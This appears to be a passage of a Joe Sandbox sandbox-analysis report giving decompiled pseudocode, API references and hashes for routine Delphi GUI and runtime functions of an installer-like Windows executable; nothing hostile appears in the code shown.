                                                          • Opcode Fuzzy Hash: f17edac987bd9c2908a07fa4262eb0fc9c87948dbfb0172ae07a896ab9d904bb
                                                          • Instruction Fuzzy Hash: 200144B5B423149BE710EF68DD81F6637D86B0C331F064699B959EB3E2D639E8009B0C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E0041B488(void* __eax) {
                                                          				void* _t36;
                                                          
                                                          				_t36 = __eax;
                                                          				UnrealizeObject(E0041A8F8( *((intOrPtr*)(__eax + 0x14))));
                                                          				SelectObject( *(_t36 + 4), E0041A8F8( *((intOrPtr*)(_t36 + 0x14))));
                                                          				if(E0041A974( *((intOrPtr*)(_t36 + 0x14))) != 0) {
                                                          					SetBkColor( *(_t36 + 4),  !(E0041A270(E0041A8BC( *((intOrPtr*)(_t36 + 0x14))))));
                                                          					return SetBkMode( *(_t36 + 4), 1);
                                                          				} else {
                                                          					SetBkColor( *(_t36 + 4), E0041A270(E0041A8BC( *((intOrPtr*)(_t36 + 0x14)))));
                                                          					return SetBkMode( *(_t36 + 4), 2);
                                                          				}
                                                          			}




                                                          0x0041b489
                                                          0x0041b494
                                                          0x0041b4a6
                                                          0x0041b4b5
                                                          0x0041b4ef
                                                          0x0041b500
                                                          0x0041b4b7
                                                          0x0041b4c9
                                                          0x0041b4da
                                                          0x0041b4da

                                                          APIs
                                                            • Part of subcall function 0041A8F8: CreateBrushIndirect.GDI32 ref: 0041A963
                                                          • UnrealizeObject.GDI32(00000000), ref: 0041B494
                                                          • SelectObject.GDI32(?,00000000), ref: 0041B4A6
                                                          • SetBkColor.GDI32(?,00000000), ref: 0041B4C9
                                                          • SetBkMode.GDI32(?,00000002), ref: 0041B4D4
                                                          • SetBkColor.GDI32(?,00000000), ref: 0041B4EF
                                                          • SetBkMode.GDI32(?,00000001), ref: 0041B4FA
                                                            • Part of subcall function 0041A270: GetSysColor.USER32(?), ref: 0041A27A
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
                                                          • String ID:
                                                          • API String ID: 3527656728-0
                                                          • Opcode ID: 3dc7fc25730a89e41d4fe69907d6c2add98f8ae8ef1f52c3a7318e69f2a22891
                                                          • Instruction ID: 409dfba64778dc73b06b03ac2b3f84a66ba6eb556fff99997c117ffb56144c37
                                                          • Opcode Fuzzy Hash: 3dc7fc25730a89e41d4fe69907d6c2add98f8ae8ef1f52c3a7318e69f2a22891
                                                          • Instruction Fuzzy Hash: EDF0BFB52015009BDF00FFBAD9C695B37989F14309704449AB548DF187C93DDD914B79
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 73%
                                                          			E0046DD14(void* __ebx, void* __edi, void* __esi) {
                                                          				char _v5;
                                                          				intOrPtr _v12;
                                                          				long _v16;
                                                          				char _v20;
                                                          				struct _WNDCLASSW _v60;
                                                          				long _v64;
                                                          				intOrPtr _t53;
                                                          				void* _t55;
                                                          				intOrPtr _t81;
                                                          				long _t90;
                                                          				intOrPtr _t103;
                                                          				void* _t106;
                                                          				intOrPtr _t117;
                                                          				intOrPtr _t120;
                                                          				void* _t133;
                                                          				void* _t135;
                                                          				void* _t136;
                                                          				intOrPtr _t137;
                                                          				void* _t142;
                                                          				void* _t148;
                                                          
                                                          				_t131 = __esi;
                                                          				_t130 = __edi;
                                                          				_t135 = _t136;
                                                          				_t137 = _t136 + 0xffffffc4;
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_v64 = 0;
                                                          				_v16 = 0;
                                                          				_push(_t135);
                                                          				_push(0x46df16);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t137;
                                                          				_v12 = E0046DF48(1, __edi);
                                                          				_push(_t135);
                                                          				_push(0x46def1);
                                                          				_push( *[fs:edx]);
                                                          				 *[fs:edx] = _t137;
                                                          				if( *0x48c0e0 == 2 && GetClassInfoW(0, L"COMBOBOX",  &_v60) != 0) {
                                                          					 *0x4adf88 = _v60.lpfnWndProc;
                                                          					_push(E0046DCC8);
                                                          					_push(0xfffffffc);
                                                          					_t103 = E004183F8( *((intOrPtr*)(_v12 + 0x1b8)));
                                                          					_push(_t103);
                                                          					L004062BC();
                                                          					 *0x4adf8c = _t103;
                                                          				}
                                                          				_t53 =  *0x4ae1c4; // 0x21c2a4c
                                                          				_t55 =  *((intOrPtr*)(_t53 + 8)) - 1;
                                                          				if(_t55 < 0) {
                                                          					L14:
                                                          					_t105 =  *((intOrPtr*)(_v12 + 0x1b8));
                                                          					_t117 =  *0x48cb08; // 0x0
                                                          					E0042A274( *((intOrPtr*)(_v12 + 0x1b8)), E0040C310( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)), _t117));
                                                          					_t148 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x10))() - 1;
                                                          					if(_t148 <= 0) {
                                                          						_v5 = 1;
                                                          					} else {
                                                          						E00423068(_v12, _t105, _t130, _t131);
                                                          						_v5 = _t148 == 0;
                                                          						if(_v5 != 0 && E0042A258( *((intOrPtr*)(_v12 + 0x1b8))) >= 0) {
                                                          							E0047308C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x14))(),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))));
                                                          						}
                                                          					}
                                                          					_pop(_t120);
                                                          					 *[fs:eax] = _t120;
                                                          					_push(0x46def8);
                                                          					return E00402CA0(_v12);
                                                          				}
                                                          				_v20 = _t55 + 1;
                                                          				_t133 = 0;
                                                          				do {
                                                          					_t81 =  *0x4ae1c4; // 0x21c2a4c
                                                          					_t106 = E0040B654(_t81, _t133);
                                                          					_t142 = _t133 -  *0x48cb08; // 0x0
                                                          					if(_t142 == 0 ||  *((intOrPtr*)(_t106 + 0x2c)) == 0 || GetACP() ==  *((intOrPtr*)(_t106 + 0x2c))) {
                                                          						E00403708( &_v16, 0x46df44,  *((intOrPtr*)(_t106 + 4)));
                                                          						if( *0x48c0e0 != 2) {
                                                          							E00403CEC();
                                                          							_t90 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x2c))();
                                                          						} else {
                                                          							_t90 = SendMessageW(E004183F8( *((intOrPtr*)(_v12 + 0x1b8))), 0x143, 0, _v16);
                                                          						}
                                                          						if(_t90 >= 0) {
                                                          							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x20))();
                                                          						}
                                                          					}
                                                          					_t133 = _t133 + 1;
                                                          					_t29 =  &_v20;
                                                          					 *_t29 = _v20 - 1;
                                                          				} while ( *_t29 != 0);
                                                          				goto L14;
                                                          			}























                                                          0x0046dd14
                                                          0x0046dd14
                                                          0x0046dd15
                                                          0x0046dd17
                                                          0x0046dd1b
                                                          0x0046dd1c
                                                          0x0046dd1f
                                                          0x0046dd22
                                                          0x0046dd27
                                                          0x0046dd28
                                                          0x0046dd2d
                                                          0x0046dd30
                                                          0x0046dd45
                                                          0x0046dd4a
                                                          0x0046dd4b
                                                          0x0046dd50
                                                          0x0046dd53
                                                          0x0046dd5d
                                                          0x0046dd76
                                                          0x0046dd7b
                                                          0x0046dd80
                                                          0x0046dd8b
                                                          0x0046dd90
                                                          0x0046dd91
                                                          0x0046dd96
                                                          0x0046dd96
                                                          0x0046dd9b
                                                          0x0046dda3
                                                          0x0046dda6
                                                          0x0046de59
                                                          0x0046de5c
                                                          0x0046de68
                                                          0x0046de77
                                                          0x0046de90
                                                          0x0046de91
                                                          0x0046ded7
                                                          0x0046de93
                                                          0x0046de96
                                                          0x0046de9c
                                                          0x0046dea4
                                                          0x0046ded0
                                                          0x0046ded0
                                                          0x0046dea4
                                                          0x0046dedd
                                                          0x0046dee0
                                                          0x0046dee3
                                                          0x0046def0
                                                          0x0046def0
                                                          0x0046ddad
                                                          0x0046ddb0
                                                          0x0046ddb2
                                                          0x0046ddb4
                                                          0x0046ddbe
                                                          0x0046ddc0
                                                          0x0046ddc6
                                                          0x0046dde3
                                                          0x0046ddef
                                                          0x0046de18
                                                          0x0046de31
                                                          0x0046ddf1
                                                          0x0046de0b
                                                          0x0046de0b
                                                          0x0046de36
                                                          0x0046de4c
                                                          0x0046de4c
                                                          0x0046de36
                                                          0x0046de4f
                                                          0x0046de50
                                                          0x0046de50
                                                          0x0046de50
                                                          0x00000000

                                                          APIs
                                                          • GetClassInfoW.USER32 ref: 0046DD6A
                                                          • 72E5B5A0.USER32(00000000,000000FC,Function_0006DCC8,00000000,COMBOBOX,?,00000000,0046DEF1,?,00000000,0046DF16), ref: 0046DD91
                                                          • GetACP.KERNEL32(00000000,0046DEF1,?,00000000,0046DF16), ref: 0046DDCE
                                                          • SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0046DE0B
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ClassInfoMessageSend
                                                          • String ID: COMBOBOX
                                                          • API String ID: 1455646776-1136563877
                                                          • Opcode ID: 385ef100425be39dd420eea4b66739a9b29b5a1bed3997a44d7e79c4ebac7b4e
                                                          • Instruction ID: ee211a155cb81e7606adb01a1cdc0a441ded5734a5c4e2e2d80ca761fd0cc26e
                                                          • Opcode Fuzzy Hash: 385ef100425be39dd420eea4b66739a9b29b5a1bed3997a44d7e79c4ebac7b4e
                                                          • Instruction Fuzzy Hash: E9515D34F00604AFDB10EF69C885E9D77B4EB49714F1141BAE805EB3A2EB39AD41CB59
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 61%
                                                          			E00456170(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				long _v8;
                                                          				char _v16;
                                                          				void* _t10;
                                                          				int _t11;
                                                          				void _t33;
                                                          				intOrPtr _t39;
                                                          				intOrPtr _t40;
                                                          				intOrPtr _t47;
                                                          				intOrPtr _t48;
                                                          				void* _t52;
                                                          
                                                          				_t45 = __esi;
                                                          				_t44 = __edi;
                                                          				_t47 = _t48;
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(0);
                                                          				_push(__esi);
                                                          				_push(__edi);
                                                          				_push(_t47);
                                                          				_push(0x4562a5);
                                                          				_push( *[fs:ecx]);
                                                          				 *[fs:ecx] = _t48;
                                                          				 *0x48df18 =  *0x48df18 + 1;
                                                          				_t33 =  *0x48df18; // 0x0
                                                          				 *0x48df20 = _t33;
                                                          				 *0x48df24 = __eax;
                                                          				 *0x48df28 = __edx;
                                                          				_t31 = 0xc + __edx;
                                                          				_push(_t47);
                                                          				_push(0x456245);
                                                          				_push( *[fs:eax]);
                                                          				 *[fs:eax] = _t48;
                                                          				_t10 =  *0x48df14; // 0x0
                                                          				_t11 = TransactNamedPipe(_t10, 0x48df20, 0xc + __edx, 0x49df2c, 0x10010,  &_v8, 0);
                                                          				_t49 = _t11;
                                                          				if(_t11 == 0) {
                                                          					E00451B58("TransactNamedPipe", _t31, _t33, __edi, __esi, _t49);
                                                          				}
                                                          				if(0x10 > _v8) {
                                                          					L4:
                                                          					E00451AFC("CallHelper: Response message has wrong size", _t31, _t44, _t45, _t51);
                                                          				} else {
                                                          					_t51 = _v8 - 0x10 -  *0x49df38;
                                                          					if(_v8 - 0x10 !=  *0x49df38) {
                                                          						goto L4;
                                                          					}
                                                          				}
                                                          				_t52 =  *0x49df2c -  *0x48df20; // 0x0
                                                          				if(_t52 != 0) {
                                                          					E00451AFC("CallHelper: Wrong sequence number", _t31, _t44, _t45, _t52);
                                                          				}
                                                          				_t53 =  *0x49df30;
                                                          				if( *0x49df30 == 0) {
                                                          					E00451AFC("CallHelper: Command did not execute", _t31, _t44, _t45, _t53);
                                                          				}
                                                          				_pop(_t39);
                                                          				 *[fs:eax] = _t39;
                                                          				_pop(_t40);
                                                          				 *[fs:eax] = _t40;
                                                          				_push(E004562AC);
                                                          				return E00403568( &_v16, 2);
                                                          			}













                                                          0x00456170
                                                          0x00456170
                                                          0x00456171
                                                          0x00456173
                                                          0x00456175
                                                          0x00456177
                                                          0x0045617a
                                                          0x0045617b
                                                          0x0045617e
                                                          0x0045617f
                                                          0x00456184
                                                          0x00456187
                                                          0x0045618a
                                                          0x00456190
                                                          0x00456196
                                                          0x0045619c
                                                          0x004561a1
                                                          0x004561ac
                                                          0x004561b0
                                                          0x004561b1
                                                          0x004561b6
                                                          0x004561b9
                                                          0x004561d2
                                                          0x004561d8
                                                          0x004561dd
                                                          0x004561df
                                                          0x004561e6
                                                          0x004561e6
                                                          0x004561f3
                                                          0x00456207
                                                          0x0045620c
                                                          0x004561f5
                                                          0x004561ff
                                                          0x00456205
                                                          0x00000000
                                                          0x00000000
                                                          0x00456205
                                                          0x00456216
                                                          0x0045621c
                                                          0x00456223
                                                          0x00456223
                                                          0x00456228
                                                          0x0045622f
                                                          0x00456236
                                                          0x00456236
                                                          0x0045623d
                                                          0x00456240
                                                          0x0045628c
                                                          0x0045628f
                                                          0x00456292
                                                          0x004562a4

                                                          APIs
                                                          • TransactNamedPipe.KERNEL32(00000000,0048DF20,0000000C,0049DF2C,00010010,00000000,00000000,00000000,00456245,?,00000000,004562A5,?,?,00000000,00000000), ref: 004561D8
                                                            • Part of subcall function 00451B58: GetLastError.KERNEL32(00000000,00451BF0,?,?,00000000,00000000,00000005,00000000,00452636,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451B7C
                                                          Strings
                                                          • TransactNamedPipe, xrefs: 004561E1
                                                          • CallHelper: Command did not execute, xrefs: 00456231
                                                          • CallHelper: Response message has wrong size, xrefs: 00456207
                                                          • CallHelper: Wrong sequence number, xrefs: 0045621E
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ErrorLastNamedPipeTransact
                                                          • String ID: CallHelper: Command did not execute$CallHelper: Response message has wrong size$CallHelper: Wrong sequence number$TransactNamedPipe
                                                          • API String ID: 1561970684-1127398157
                                                          • Opcode ID: 67aa98a6b59fe60e02e5a0cf014c2cb0897d30c5752db6ad1289db506dbd6d44
                                                          • Instruction ID: cbba78399afc9445e0097ed3c34f4e2d5bc055c57731bcf1f044daebf812baf2
                                                          • Opcode Fuzzy Hash: 67aa98a6b59fe60e02e5a0cf014c2cb0897d30c5752db6ad1289db506dbd6d44
                                                          • Instruction Fuzzy Hash: 7A21A771604204AFE711EF65EC42F1E77A8E748715F91487BFE01D3696D7B89808961C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 84%
                                                          			E00404E7A(int __eax) {
                                                          				intOrPtr* _t7;
                                                          				intOrPtr* _t8;
                                                          				signed int _t15;
                                                          				signed int _t19;
                                                          				intOrPtr _t20;
                                                          				unsigned int _t21;
                                                          				char* _t29;
                                                          				char* _t30;
                                                          				void* _t46;
                                                          
                                                          				 *0x48d024 = __eax;
                                                          				if( *0x48d034 == 0) {
                                                          					goto L5;
                                                          				} else {
                                                          					_t46 =  *0x48d418 - 1;
                                                          					if(_t46 < 0) {
                                                          						L17:
                                                          						ExitProcess( *0x48d024);
                                                          					} else {
                                                          						if(_t46 == 0 || __eax != 0) {
                                                          							while(1) {
                                                          								L5:
                                                          								_t7 =  *0x48d028; // 0x404b60
                                                          								_t8 = _t7;
                                                          								if(_t8 == 0) {
                                                          									break;
                                                          								}
                                                          								 *0x48d028 = 0;
                                                          								 *_t8();
                                                          							}
                                                          							if( *0x48d02c != 0) {
                                                          								_t19 =  *0x48d024; // 0x0
                                                          								_t29 = "  at 00000000";
                                                          								do {
                                                          									_t2 = _t19 % 0xa;
                                                          									_t19 = _t19 / 0xa;
                                                          									 *_t29 = _t2 + 0x30;
                                                          									_t29 = _t29 - 1;
                                                          								} while (_t19 != 0);
                                                          								_t30 = 0x48c094;
                                                          								_t20 =  *0x48d02c; // 0x0
                                                          								_t21 = _t20 - 0x40121c;
                                                          								do {
                                                          									 *_t30 =  *((intOrPtr*)((_t21 & 0x0000000f) + 0x404f94));
                                                          									_t30 = _t30 - 1;
                                                          									_t21 = _t21 >> 4;
                                                          								} while (_t21 != 0);
                                                          								if( *0x48d035 != 0) {
                                                          									E0040515C(0x48d208, "Runtime error     at 00000000");
                                                          									E004050DF();
                                                          								} else {
                                                          									MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
                                                          								}
                                                          							}
                                                          							E00404E40(0x48d03c);
                                                          							E00404E40(0x48d208);
                                                          							E00401A98();
                                                          							if( *0x48d418 == 0) {
                                                          								E00403464();
                                                          								goto L17;
                                                          							}
                                                          						}
                                                          					}
                                                          				}
                                                          				E00403464();
                                                          				 *0x48d418 = 0;
                                                          				_t15 =  *0x48d024; // 0x0
                                                          				asm("sbb eax, eax");
                                                          				return  ~_t15 + 1;
                                                          			}












                                                          0x00404e7c
                                                          0x00404e88
                                                          0x00000000
                                                          0x00404e8a
                                                          0x00404e8a
                                                          0x00404e91
                                                          0x00404f57
                                                          0x00404f5d
                                                          0x00404e97
                                                          0x00404e97
                                                          0x00404ea1
                                                          0x00404ea1
                                                          0x00404ea1
                                                          0x00404ea6
                                                          0x00404ea8
                                                          0x00000000
                                                          0x00000000
                                                          0x00404eac
                                                          0x00404eb2
                                                          0x00404eb2
                                                          0x00404ebd
                                                          0x00404ebf
                                                          0x00404ec4
                                                          0x00404ece
                                                          0x00404ed0
                                                          0x00404ed0
                                                          0x00404ed5
                                                          0x00404ed7
                                                          0x00404ed8
                                                          0x00404edc
                                                          0x00404ee1
                                                          0x00404ee6
                                                          0x00404eeb
                                                          0x00404ef6
                                                          0x00404ef8
                                                          0x00404ef9
                                                          0x00404ef9
                                                          0x00404f05
                                                          0x00404f26
                                                          0x00404f2b
                                                          0x00404f07
                                                          0x00404f15
                                                          0x00404f15
                                                          0x00404f05
                                                          0x00404f35
                                                          0x00404f3f
                                                          0x00404f44
                                                          0x00404f50
                                                          0x00404f52
                                                          0x00000000
                                                          0x00404f52
                                                          0x00404f50
                                                          0x00404e97
                                                          0x00404e91
                                                          0x00404f62
                                                          0x00404f67
                                                          0x00404f6e
                                                          0x00404f75
                                                          0x00404f91

                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: ExitMessageProcess
                                                          • String ID: Error$Runtime error at 00000000$`K@
                                                          • API String ID: 1220098344-2860380777
                                                          • Opcode ID: 46db2382e64b13f836b28f0b4a4f4c7eeae605f1127beaa8ff57c6a4eae7ff20
                                                          • Instruction ID: f5843219a1cd4db4f0c045c0a488b172177e128e40d0f46163d998114cd4ebaa
                                                          • Opcode Fuzzy Hash: 46db2382e64b13f836b28f0b4a4f4c7eeae605f1127beaa8ff57c6a4eae7ff20
                                                          • Instruction Fuzzy Hash: 2F21B270E422418AD712BB79988171E27C1939B35CF04897FE240BB3E2C63C984687AE
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E00416E44(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
                                                          				intOrPtr* _v8;
                                                          				intOrPtr _v12;
                                                          				int _v16;
                                                          				int _v20;
                                                          				struct tagPAINTSTRUCT _v84;
                                                          				intOrPtr _t54;
                                                          				void* _t63;
                                                          				struct HDC__* _t73;
                                                          				intOrPtr _t87;
                                                          				void* _t94;
                                                          				void* _t95;
                                                          				void* _t97;
                                                          				void* _t99;
                                                          				void* _t100;
                                                          				intOrPtr _t101;
                                                          
                                                          				_t99 = _t100;
                                                          				_t101 = _t100 + 0xffffffb0;
                                                          				_v12 = __edx;
                                                          				_v8 = __eax;
                                                          				_t73 =  *(_v12 + 4);
                                                          				if(_t73 == 0) {
                                                          					_t73 = BeginPaint(E004183F8(_v8),  &_v84);
                                                          				}
                                                          				_push(_t99);
                                                          				_push(0x416f5d);
                                                          				_push( *[fs:ecx]);
                                                          				 *[fs:ecx] = _t101;
                                                          				if( *((intOrPtr*)(_v8 + 0xb0)) != 0) {
                                                          					_v20 = SaveDC(_t73);
                                                          					_v16 = 2;
                                                          					_t94 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xb0)) + 8)) - 1;
                                                          					if(_t94 >= 0) {
                                                          						_t95 = _t94 + 1;
                                                          						_t97 = 0;
                                                          						do {
                                                          							_t63 = E0040B654( *((intOrPtr*)(_v8 + 0xb0)), _t97);
                                                          							if( *((char*)(_t63 + 0x37)) != 0 || ( *(_t63 + 0x1c) & 0x00000010) != 0 && ( *(_t63 + 0x35) & 0x00000004) == 0) {
                                                          								if(( *(_t63 + 0x34) & 0x00000040) == 0) {
                                                          									goto L11;
                                                          								} else {
                                                          									_v16 = ExcludeClipRect(_t73,  *(_t63 + 0x24),  *(_t63 + 0x28),  *(_t63 + 0x24) +  *((intOrPtr*)(_t63 + 0x2c)),  *(_t63 + 0x28) +  *((intOrPtr*)(_t63 + 0x30)));
                                                          									if(_v16 != 1) {
                                                          										goto L11;
                                                          									}
                                                          								}
                                                          							} else {
                                                          								goto L11;
                                                          							}
                                                          							goto L12;
                                                          							L11:
                                                          							_t97 = _t97 + 1;
                                                          							_t95 = _t95 - 1;
                                                          						} while (_t95 != 0);
                                                          					}
                                                          					L12:
                                                          					if(_v16 != 1) {
                                                          						 *((intOrPtr*)( *_v8 + 0x70))();
                                                          					}
                                                          					RestoreDC(_t73, _v20);
                                                          				} else {
                                                          					 *((intOrPtr*)( *_v8 + 0x70))();
                                                          				}
                                                          				E00416F98(_v8, 0, _t73);
                                                          				_pop(_t87);
                                                          				 *[fs:eax] = _t87;
                                                          				_push(E00416F64);
                                                          				_t54 = _v12;
                                                          				if( *((intOrPtr*)(_t54 + 4)) == 0) {
                                                          					return EndPaint(E004183F8(_v8),  &_v84);
                                                          				}
                                                          				return _t54;
                                                          			}


















                                                          0x00416e45
                                                          0x00416e47
                                                          0x00416e4d
                                                          0x00416e50
                                                          0x00416e56
                                                          0x00416e5b
                                                          0x00416e6f
                                                          0x00416e6f
                                                          0x00416e73
                                                          0x00416e74
                                                          0x00416e79
                                                          0x00416e7c
                                                          0x00416e89
                                                          0x00416ea0
                                                          0x00416ea3
                                                          0x00416eb6
                                                          0x00416eb9
                                                          0x00416ebb
                                                          0x00416ebc
                                                          0x00416ebe
                                                          0x00416ec9
                                                          0x00416ed2
                                                          0x00416ee4
                                                          0x00000000
                                                          0x00416ee6
                                                          0x00416f01
                                                          0x00416f08
                                                          0x00000000
                                                          0x00000000
                                                          0x00416f08
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00416f0a
                                                          0x00416f0a
                                                          0x00416f0b
                                                          0x00416f0b
                                                          0x00416ebe
                                                          0x00416f0e
                                                          0x00416f12
                                                          0x00416f1b
                                                          0x00416f1b
                                                          0x00416f23
                                                          0x00416e8b
                                                          0x00416e92
                                                          0x00416e92
                                                          0x00416f2f
                                                          0x00416f36
                                                          0x00416f39
                                                          0x00416f3c
                                                          0x00416f41
                                                          0x00416f48
                                                          0x00000000
                                                          0x00416f57
                                                          0x00416f5c

                                                          APIs
                                                          • BeginPaint.USER32(00000000,?), ref: 00416E6A
                                                          • SaveDC.GDI32(?), ref: 00416E9B
                                                          • ExcludeClipRect.GDI32(?,?,?,?,?,?,00000000,00416F5D), ref: 00416EFC
                                                          • RestoreDC.GDI32(?,?), ref: 00416F23
                                                          • EndPaint.USER32(00000000,?,00416F64,00000000,00416F5D), ref: 00416F57
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.382341133.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000001.00000002.382334904.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382455486.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382467158.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                          • Associated: 00000001.00000002.382477868.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_400000_is-71GCF.jbxd
                                                          Similarity
                                                          • API ID: Paint$BeginClipExcludeRectRestoreSave
                                                          • String ID:
                                                          • API String ID: 3808407030-0
                                                          • Opcode ID: 2007bbaaabde2b80d76e54260b1cee33b6f60b9b57cf65b0ab6bdaf5b5278d53
                                                          • Instruction ID: e910eaf4371ed2f87099ab8c2693ee2c641150fd17c55409a25d5504233ca672
                                                          • Opcode Fuzzy Hash: 2007bbaaabde2b80d76e54260b1cee33b6f60b9b57cf65b0ab6bdaf5b5278d53
                                                          • Instruction Fuzzy Hash: C6413F70A042049FCB14DB59D585FAAB7F9EF48304F1641AAE5049B3A2C778DD85CB58
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E00414A18(intOrPtr* __eax, int __ecx, int __edx) {
                                                          				char _t46;
                                                          				signed char _t76;
                                                          				int _t83;
                                                          				intOrPtr* _t84;
                                                          				int _t85;
                                                          				int* _t87;
                                                          
                                                          				 *_t87 = __ecx;
                                                          				_t83 = __edx;
                                                          				_t84 = __eax;
                                                          				if(__edx !=  *_t87) {
                                                          					if(( *(__eax + 0x1c) & 0x00000001) == 0) {
                                                          						_t76 =  *E00414B24; // 0x1f
                                                          					} else {
                                                          						_t76 =  *((intOrPtr*)(__eax + 0x5c));
                                                          					}
                                                          					if((_t76 & 0x00000001) == 0) {
                                                          						_t85 =  *(_t84 + 0x24);
                                                          					} else {
                                                          						_t85 = MulDiv( *(_t84 + 0x24), _t83,  *_t87);
                                                          					}
                                                          					if((_t76 & 0x00000002) == 0) {
                                                          						_t87[1] =  *(_t84 + 0x28);
                                                          					} else {
                                                          						_t87[1] = MulDiv( *(_t84 + 0x28), _t83,  *_t87);
                                                          					}
                                                          					if((_t76 & 0x00000004) == 0 || ( *(_t84 + 0x35) & 0x00000001) != 0) {
                                                          						_t87[2] =  *(_t84 + 0x2c);
                                                          					} else {
                                                          						_t87[2] = MulDiv( *(_t84 + 0x24) +  *(_t84 + 0x2c), _t83,  *_t87) - _t85;
                                                          					}
                                                          					if((_t76 & 0x00000008) == 0 || ( *(_t84 + 0x35) & 0x00000002) != 0) {
                                                          						_t87[3] =  *(_t84 + 0x30);
                                                          					} else {
                                                          						_t87[3] = MulDiv( *(_t84 + 0x28) +  *(_t84 + 0x30), _t83,  *_t87) - _t87[1];
                                                          					}
                                                          					 *((intOrPtr*)( *_t84 + 0x4c))(_t87[4], _t87[2]);
                                                          					if( *((char*)(_t84 + 0x39)) == 0 && (_t76 & 0x00000010) != 0) {
                                                          						E0041A5BC( *((intOrPtr*)(_t84 + 0x44)), MulDiv(E0041A5A0( *((intOrPtr*)(_t84 + 0x44))), _t83,  *_t87));
                                                          					}
                                                          				}
